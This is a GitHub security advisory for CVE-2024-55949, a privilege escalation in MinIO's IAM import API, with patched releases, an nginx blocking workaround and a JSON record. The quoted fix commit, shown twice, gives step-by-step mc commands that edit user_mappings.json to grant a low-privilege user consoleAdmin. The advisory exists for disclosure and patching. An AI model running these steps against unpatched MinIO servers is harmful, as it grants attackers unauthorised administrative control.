GHSA-cwq8-g58r-32hg
Vulnerability from github
Impact
Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f
Patches
``` commit f246c9053f9603e610d98439799bdd2a6b293427 Author: Aditya Manthramurthy donatello@users.noreply.github.com Date: Wed Dec 11 18:09:40 2024 -0800
fix: Privilege escalation in IAM import API (#20756)
This API had missing permissions checking, allowing a user to change
their policy mapping by:
1. Craft iam-info.zip file: Update own user permission in
user_mappings.json
2. Upload it via `mc admin cluster iam import nobody iam-info.zip`
Here `nobody` can be a user with pretty much any kind of permission (but
not anonymous) and this ends up working.
Some more detailed steps - start from a fresh setup:
```
./minio server /tmp/d{1...4} &
mc alias set myminio http://localhost:9000 minioadmin minioadmin
mc admin user add myminio nobody nobody123
mc admin policy attach myminio readwrite nobody nobody123
mc alias set nobody http://localhost:9000 nobody nobody123
mc admin cluster iam export myminio
mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x
cd /tmp/x
unzip myminio-iam-info.zip
echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \
iam-assets/user_mappings.json
zip -r myminio-iam-info-updated.zip iam-assets/
mc admin cluster iam import nobody ./myminio-iam-info-updated.zip
mc admin service restart nobody
```
```
Workarounds
There are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer.
Behind a load balancer / firewall such as nginx .
location /minio/admin/v2/import-iam {
...
}
location /minio/admin/v3/import-iam-v2 {
...
Following locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.
References
Refer https://github.com/minio/minio/pull/20756 for more information
Binary Releases
AiStor Containers
quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z
quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips
AiStor Binaries
Architecture: linux/amd64
- https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z
Architecture: linux/arm64
- https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z
Architecture: windows/amd64
- https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z
Community Containers
quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z
quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips
Community Binaries
Architecture: linux/amd64
- https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z
Architecture: linux/arm64
- https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z
Architecture: windows/amd64
- https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z
Credits
Credit goes to National Security Agency for reporting this issue.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/minio/minio"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0-20220623162515-580d9db85e04"
},
{
"fixed": "0.0.0-20241213221912-68b004a48f41"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-55949"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-16T17:27:53Z",
"nvd_published_at": "2024-12-16T20:15:13Z",
"severity": "HIGH"
},
"details": "### Impact\nPrivilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f\n\n### Patches\n```\ncommit f246c9053f9603e610d98439799bdd2a6b293427\nAuthor: Aditya Manthramurthy \u003cdonatello@users.noreply.github.com\u003e\nDate: Wed Dec 11 18:09:40 2024 -0800\n\n fix: Privilege escalation in IAM import API (#20756)\n \n This API had missing permissions checking, allowing a user to change\n their policy mapping by:\n \n 1. Craft iam-info.zip file: Update own user permission in\n user_mappings.json\n 2. Upload it via `mc admin cluster iam import nobody iam-info.zip`\n \n Here `nobody` can be a user with pretty much any kind of permission (but\n not anonymous) and this ends up working.\n \n Some more detailed steps - start from a fresh setup:\n \n ```\n ./minio server /tmp/d{1...4} \u0026\n mc alias set myminio http://localhost:9000 minioadmin minioadmin\n mc admin user add myminio nobody nobody123\n mc admin policy attach myminio readwrite nobody nobody123\n mc alias set nobody http://localhost:9000 nobody nobody123\n \n mc admin cluster iam export myminio\n mkdir /tmp/x \u0026\u0026 mv myminio-iam-info.zip /tmp/x\n cd /tmp/x\n unzip myminio-iam-info.zip\n echo \u0027{\"nobody\":{\"version\":1,\"policy\":\"consoleAdmin\",\"updatedAt\":\"2024-08-13T19:47:10.1Z\"}}\u0027 \u003e \\\n iam-assets/user_mappings.json\n zip -r myminio-iam-info-updated.zip iam-assets/\n \n mc admin cluster iam import nobody ./myminio-iam-info-updated.zip\n mc admin service restart nobody\n ```\n```\n\n### Workarounds\nThere are no workarounds possible, all users are advised to upgrade immediately if you don\u0027t run MinIO behind a load balancer.\n\nBehind a load balancer / firewall such as `nginx` . \n\n```\nlocation /minio/admin/v2/import-iam {\n...\n}\n```\n\n```\nlocation /minio/admin/v3/import-iam-v2 {\n...\n```\n\nFollowing locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.\n\n### References\nRefer https://github.com/minio/minio/pull/20756 for more information \n\n### Binary Releases\n#### AiStor Containers\n```\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips\n```\n\n#### AiStor Binaries\n##### Architecture: `linux/amd64`\n- https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n### Community Containers\n```\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips\n```\n\n### Community Binaries\n##### Architecture: `linux/amd64`\n- https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n### Credits\nCredit goes to [National Security Agency](https://www.nsa.gov/) for reporting this issue.\n",
"id": "GHSA-cwq8-g58r-32hg",
"modified": "2024-12-20T14:09:31Z",
"published": "2024-12-16T17:27:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/minio/minio/security/advisories/GHSA-cwq8-g58r-32hg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55949"
},
{
"type": "WEB",
"url": "https://github.com/minio/minio/pull/20756"
},
{
"type": "WEB",
"url": "https://github.com/minio/minio/commit/580d9db85e04f1b63cc2909af50f0ed08afa965f"
},
{
"type": "WEB",
"url": "https://github.com/minio/minio/commit/f246c9053f9603e610d98439799bdd2a6b293427"
},
{
"type": "PACKAGE",
"url": "https://github.com/minio/minio"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MinIO vulnerable to privilege escalation in IAM import API"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.